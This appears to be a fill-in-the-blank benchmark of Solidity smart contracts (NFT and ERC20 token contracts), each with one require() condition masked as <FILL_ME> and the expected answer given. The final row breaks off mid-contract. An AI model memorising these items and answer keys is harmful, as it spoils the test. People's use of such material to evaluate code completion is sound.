import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/utils/Base64.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract Immutacord is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
Counters.Counter private _tokenIdCounter;
mapping(string => uint256) private _messagesByHash;
uint256 public MINT_PRICE = 0.01 ether;
address private signer;
// Events
event MessageMinted(address minter, string _hash);
constructor(address _signer) ERC721('Immutacord', 'IMC') {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setSigner(address _signer) public onlyOwner {
}
function verify(
string memory _hashedMessageId,
string memory _cid,
string memory _discordServerId,
string memory _discordServerName,
string memory _messageAuthorId,
string memory _messageAuthorName,
bytes memory _signature,
address _signer
) private pure returns (bool) {
}
function mint(
string memory _hashedMessageId,
string memory _cid,
string memory _discordServerId,
string memory _discordServerName,
string memory _messageAuthorId,
string memory _messageAuthorName,
bytes memory _signature
) public payable whenNotPaused {
require(<FILL_ME>)
// Verify signature
require(
verify(
_hashedMessageId,
_cid,
_discordServerId,
_discordServerName,
_messageAuthorId,
_messageAuthorName,
_signature,
signer
),
'Invalid signature'
);
// Transaction must have at enough value (any more is considered a tip)
require(msg.value >= MINT_PRICE, 'Not enough ether sent');
uint256 tokenId = _tokenIdCounter.current();
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Discord message from ',
_messageAuthorName,
'", "description": "This token represents a message a user sent in discord, made immutable on the blockchain forever!", "image": "ipfs://',
_cid,
'", "attributes": [{ "trait_type": "Discord server ID", "value": "',
_discordServerId,
'" }, { "trait_type": "Discord server name", "value": "',
_discordServerName,
'" }, { "trait_type": "Message author ID", "value": "',
_messageAuthorId,
'" }, { "trait_type": "Message author name", "value": "',
_messageAuthorName,
'" } ]}'
)
)
)
);
string memory _tokenURI = string(
abi.encodePacked('data:application/json;base64,', json)
);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _tokenURI);
_messagesByHash[_hashedMessageId] = tokenId;
emit MessageMinted(msg.sender, _hashedMessageId);
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function getMessageByHash(string memory _hash) public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _messagesByHash[_hashedMessageId]==0,'This image has already been minted' | 184,183 | _messagesByHash[_hashedMessageId]==0 |
'Invalid signature' | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.17;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/utils/Base64.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract Immutacord is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
Counters.Counter private _tokenIdCounter;
mapping(string => uint256) private _messagesByHash;
uint256 public MINT_PRICE = 0.01 ether;
address private signer;
// Events
event MessageMinted(address minter, string _hash);
constructor(address _signer) ERC721('Immutacord', 'IMC') {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setSigner(address _signer) public onlyOwner {
}
function verify(
string memory _hashedMessageId,
string memory _cid,
string memory _discordServerId,
string memory _discordServerName,
string memory _messageAuthorId,
string memory _messageAuthorName,
bytes memory _signature,
address _signer
) private pure returns (bool) {
}
function mint(
string memory _hashedMessageId,
string memory _cid,
string memory _discordServerId,
string memory _discordServerName,
string memory _messageAuthorId,
string memory _messageAuthorName,
bytes memory _signature
) public payable whenNotPaused {
require(
_messagesByHash[_hashedMessageId] == 0,
'This image has already been minted'
);
// Verify signature
require(<FILL_ME>)
// Transaction must have at enough value (any more is considered a tip)
require(msg.value >= MINT_PRICE, 'Not enough ether sent');
uint256 tokenId = _tokenIdCounter.current();
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Discord message from ',
_messageAuthorName,
'", "description": "This token represents a message a user sent in discord, made immutable on the blockchain forever!", "image": "ipfs://',
_cid,
'", "attributes": [{ "trait_type": "Discord server ID", "value": "',
_discordServerId,
'" }, { "trait_type": "Discord server name", "value": "',
_discordServerName,
'" }, { "trait_type": "Message author ID", "value": "',
_messageAuthorId,
'" }, { "trait_type": "Message author name", "value": "',
_messageAuthorName,
'" } ]}'
)
)
)
);
string memory _tokenURI = string(
abi.encodePacked('data:application/json;base64,', json)
);
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _tokenURI);
_messagesByHash[_hashedMessageId] = tokenId;
emit MessageMinted(msg.sender, _hashedMessageId);
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function getMessageByHash(string memory _hash) public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| verify(_hashedMessageId,_cid,_discordServerId,_discordServerName,_messageAuthorId,_messageAuthorName,_signature,signer),'Invalid signature' | 184,183 | verify(_hashedMessageId,_cid,_discordServerId,_discordServerName,_messageAuthorId,_messageAuthorName,_signature,signer) |
'No message with this hash' | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.17;
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol';
import '@openzeppelin/contracts/utils/Base64.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
contract Immutacord is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable
{
using Counters for Counters.Counter;
using ECDSA for bytes32;
Counters.Counter private _tokenIdCounter;
mapping(string => uint256) private _messagesByHash;
uint256 public MINT_PRICE = 0.01 ether;
address private signer;
// Events
event MessageMinted(address minter, string _hash);
constructor(address _signer) ERC721('Immutacord', 'IMC') {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setSigner(address _signer) public onlyOwner {
}
function verify(
string memory _hashedMessageId,
string memory _cid,
string memory _discordServerId,
string memory _discordServerName,
string memory _messageAuthorId,
string memory _messageAuthorName,
bytes memory _signature,
address _signer
) private pure returns (bool) {
}
function mint(
string memory _hashedMessageId,
string memory _cid,
string memory _discordServerId,
string memory _discordServerName,
string memory _messageAuthorId,
string memory _messageAuthorName,
bytes memory _signature
) public payable whenNotPaused {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function getMessageByHash(string memory _hash) public view returns (uint256) {
require(<FILL_ME>)
return _messagesByHash[_hash];
}
function withdraw() public onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
}
| _messagesByHash[_hash]>0,'No message with this hash' | 184,183 | _messagesByHash[_hash]>0 |
"Incorrect request" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./ERC20.sol";
import "./Ownable.sol";
contract DeadMeat is ERC20, Ownable {
address public RLGL;
constructor() ERC20("DeadMeat", "DMT") {
}
function mint(address to, uint256 amount) public onlyOwner {
}
function mintToken(address to) external {
require(<FILL_ME>)
_mint(to, 1 * 10 ** 18);
}
function setRLGLaddress(address _address) external onlyOwner {
}
}
| address(msg.sender)==address(RLGL),"Incorrect request" | 184,262 | address(msg.sender)==address(RLGL) |
"Zero address" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./ERC20.sol";
import "./Ownable.sol";
contract DeadMeat is ERC20, Ownable {
address public RLGL;
constructor() ERC20("DeadMeat", "DMT") {
}
function mint(address to, uint256 amount) public onlyOwner {
}
function mintToken(address to) external {
}
function setRLGLaddress(address _address) external onlyOwner {
require(<FILL_ME>)
require(address(RLGL) == address(0), "RLGL contract already set");
RLGL = _address;
}
}
| address(_address)!=address(0),"Zero address" | 184,262 | address(_address)!=address(0) |
"RLGL contract already set" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./ERC20.sol";
import "./Ownable.sol";
contract DeadMeat is ERC20, Ownable {
address public RLGL;
constructor() ERC20("DeadMeat", "DMT") {
}
function mint(address to, uint256 amount) public onlyOwner {
}
function mintToken(address to) external {
}
function setRLGLaddress(address _address) external onlyOwner {
require(address(_address) != address(0), "Zero address");
require(<FILL_ME>)
RLGL = _address;
}
}
| address(RLGL)==address(0),"RLGL contract already set" | 184,262 | address(RLGL)==address(0) |
"Transfer amount exceeds the maxTxAmount." | // SPDX-License-Identifier: MIT
/*
██████╗ ███████╗████████╗██╗ ██╗███████╗██████╗ ███████╗███████╗
██╔══██╗██╔════╝╚══██╔══╝██║ ██║██╔════╝██╔══██╗██╔════╝██╔════╝
██████╔╝█████╗ ██║ ██║ ██║█████╗ ██████╔╝███████╗█████╗
██╔══██╗██╔══╝ ██║ ╚██╗ ██╔╝██╔══╝ ██╔══██╗╚════██║██╔══╝
██████╔╝███████╗ ██║ ╚████╔╝ ███████╗██║ ██║███████║███████╗
╚═════╝ ╚══════╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝
Salient Features:
< Trading cannot be paused. >
< Transfers cannot be paused. >
< No Blacklists >
< No Mints >
< No Max Transfers or Wallet Cap. >
< No Trading cooldown Time. >
< Swap Interval is set to 0 permanently for unstoppable trades. >
*/
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
contract BetVerse is Context, IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
mapping (address => bool) private _liquidityHolders;
uint256 private startingSupply = 10_000_000_000;
string constant private _name = "BetVerse";
string constant private _symbol = "$BETV";
uint8 private _decimals = 9;
uint256 private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct StaticValuesStruct {
uint16 maxBuyTaxes;
uint16 maxSellTaxes;
uint16 maxTransferTaxes;
uint16 masterTaxDivisor;
}
struct Ratios {
uint16 liquidity;
uint16 marketing;
uint16 development;
uint16 total;
}
Fees public _taxRates = Fees({
buyFee: 0, //100=1%
sellFee: 300,
transferFee: 300
});
Ratios public _ratios = Ratios({
liquidity: 1,
marketing: 1,
development: 1,
total: 3
});
StaticValuesStruct public staticVals = StaticValuesStruct({
maxBuyTaxes: 1000, //100=1%
maxSellTaxes: 1000,
maxTransferTaxes: 1000,
masterTaxDivisor: 10000
});
IRouter02 public dexRouter;
address public currentRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable marketing;
address payable development;
address liquidity;
}
TaxWallets public _taxWallets = TaxWallets({
marketing: payable(0xf79fe5F1093D8C2C72ec323592643E9549886C79),
development: payable(0x467fca64163f0eED75569C6a45883E418D22f151),
liquidity: 0x93886e66A0fEFC17aA7502e631Accc2A97Fc105d
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 private _maxTxAmountPercent = 5;
uint256 public swapThreshold = (_tTotal * 5) / 10000;
uint256 public swapAmount = (_tTotal * 10) / 10000;
uint256 public swapInterval = 0;
uint256 public lastSwap;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function rescueETH(uint256 weiAmount) external onlyOwner {
}
function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) private {
}
function approveContractContingency() public onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
//Set up a New Router.
function setNewRouter(address newRouter) public onlyOwner() {
}
//Setting up Liquidity Pair.
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function changeRouterContingency(address router) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 liquidity, uint16 marketing, uint16 development) external onlyOwner {
}
function setMaxTxPercent(uint256 percent) external onlyOwner {
}
function getMaxTX() public view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setWallets(address payable marketing, address payable development, address liquidity) external onlyOwner {
}
function setContractSwapEnabled(bool _enabled) public onlyOwner {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) private view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if(lpPairs[from] || lpPairs[to]){
require(<FILL_ME>)
}
if(to != currentRouter && !lpPairs[to]) {
//require(balanceOf(to) + amount <= (_maxWalletSizePercent * getCirculatingSupply()) / 1000, "Transfer amount exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]){
takeFee = false;
}
if (lpPairs[to]) {
if (!inSwap
&& contractSwapEnabled
&& !presaleAddresses[to]
&& !presaleAddresses[from]
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold && lastSwap + swapInterval < block.timestamp) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
contractSwap(contractTokenBalance);
lastSwap = block.timestamp;
}
}
}
return _finalizeTransfer(from, to, amount, takeFee);
}
function contractSwap(uint256 contractTokenBalance) private lockTheSwap {
}
//Enable Trading
function enableTrading() public onlyOwner {
}
function takeTaxes(address from, address to, uint256 amount) internal returns (uint256) {
}
//Finalise the transfers.
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee) private returns (bool) {
}
}
| amount<=(_maxTxAmountPercent*getCirculatingSupply())/1000,"Transfer amount exceeds the maxTxAmount." | 184,275 | amount<=(_maxTxAmountPercent*getCirculatingSupply())/1000 |
"This token id is not allowed" | @v3.1.0-solc-0.7
pragma solidity ^0.7.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.7.2;
interface ProudLine {
function balanceOf(address _user) external view returns(uint256);
function ownerOf(uint256 _tokenId) external view returns(address);
}
contract Gene is ERC721, Ownable {
ProudLine public proudLine;
uint256 public MAX_GENE = 200;
mapping (uint256 => bool) public isMinted;
constructor(address _addr) ERC721("Gene", "GEN") {
}
function setproudLine(address _addr) public onlyOwner() {
}
function setBaseURI(string memory baseURI) public onlyOwner(){
}
function airDrop(address[] memory _addresses, uint256[] memory _tokenId) public onlyOwner(){
require(_addresses.length == _tokenId.length, "Must provide same number of address and token ids");
for(uint i = 0; i < _addresses.length; i++){
require(<FILL_ME>)
isMinted[_tokenId[i]] = true;
_safeMint(_addresses[i], _tokenId[i]);
}
}
function burnGene(uint256 tokenId) external {
}
}
| _tokenId[i]<=MAX_GENE,"This token id is not allowed" | 184,292 | _tokenId[i]<=MAX_GENE |
"ERC20: can't be more than 15%" | //TG:https://t.me/Mystery_ERC
// SPDX-License-Identifier:MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Magic8Ball is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isExcludedFromMaxTxn;
mapping(address => bool) public isExcludedFromMaxHolding;
mapping(address => bool) public isBot;
string private _name = "Magic8Ball";
string private _symbol = "$M8Ball";
uint8 private _decimals = 9;
uint256 private _totalSupply = 1_000_000_000_000 * 1e9;
address private constant DEAD = address(0xdead);
address private constant ZERO = address(0);
IDexRouter public dexRouter;
address public dexPair;
address public marketingWallet;
address public liquidityReceiverWallet;
uint256 public minTokenToSwap = _totalSupply.div(1e5); // this amount will trigger swap and distribute
uint256 public maxHoldLimit = _totalSupply.div(100); // this is the max wallet holding limit
uint256 public maxTxnLimit = _totalSupply.div(100); // this is the max transaction limit
uint256 public percentDivider = 1000;
uint256 public snipingTime = 60 seconds;
uint256 public launchedAt;
bool public distributeAndLiquifyStatus; // should be true to turn on to liquidate the pool
bool public feesStatus = true; // enable by default
bool public trading; // once enable can't be disable afterwards
uint256 public liquidityFeeOnBuying = 10; // 1% will be added to the liquidity
uint256 public marketingFeeOnBuying = 40; // 4% will be added to the marketing address
uint256 public liquidityFeeOnSelling = 10; // 1% will be added to the liquidity
uint256 public marketingFeeOnSelling = 40; // 4% will be added to the marketing address
uint256 liquidityFeeCounter = 0;
uint256 marketingFeeCounter = 0;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() {
}
//to receive ETH from dexRouter when swapping
receive() external payable {}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function includeOrExcludeFromFee(address account, bool value)
external
onlyOwner
{
}
function includeOrExcludeFromMaxTxn(address[] memory holders, bool exempt)
external
onlyOwner
{
}
function includeOrExcludeFromMaxHolding(address account, bool value)
external
onlyOwner
{
}
function addOrRemoveBots(address[] memory accounts, bool exempt)
external
onlyOwner
{
}
function setMinTokenToSwap(uint256 _amount) external onlyOwner {
}
function setMaxHoldLimit(uint256 _amount) external onlyOwner {
}
function setMaxTxnLimit(uint256 _amount) external onlyOwner {
}
function setBuyFeePercent(uint256 _lwFee, uint256 _marketingFee)
external
onlyOwner
{
marketingFeeOnBuying = _lwFee;
liquidityFeeOnBuying = _marketingFee;
require(<FILL_ME>)
}
function setSellFeePercent(uint256 _lwFee, uint256 _marketingFee)
external
onlyOwner
{
}
function setDistributionStatus(bool _value) public onlyOwner {
}
function enableOrDisableFees(bool _value) external onlyOwner {
}
function removeStuckEth(address _receiver) public onlyOwner {
}
function updateAddresses(address _marketingWallet, address _liquidityReceiverWallet) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
}
function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function takeTokenFee(address sender, uint256 amount) private {
}
function setFeeCountersOnBuying(uint256 amount) private {
}
function setFeeCountersOnSelling(uint256 amount) private {
}
function distributeAndLiquify(address from, address to) private {
}
}
// Library for doing a swap on Dex
library Utils {
using SafeMath for uint256;
function swapTokensForEth(address routerAddress, uint256 tokenAmount)
internal
{
}
function addLiquidity(
address routerAddress,
address owner,
uint256 tokenAmount,
uint256 ethAmount
) internal {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
| _lwFee.add(_marketingFee)<=percentDivider.mul(15).div(100),"ERC20: can't be more than 15%" | 184,469 | _lwFee.add(_marketingFee)<=percentDivider.mul(15).div(100) |
"ERC20: max hold limit exceeds" | //TG:https://t.me/Mystery_ERC
// SPDX-License-Identifier:MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
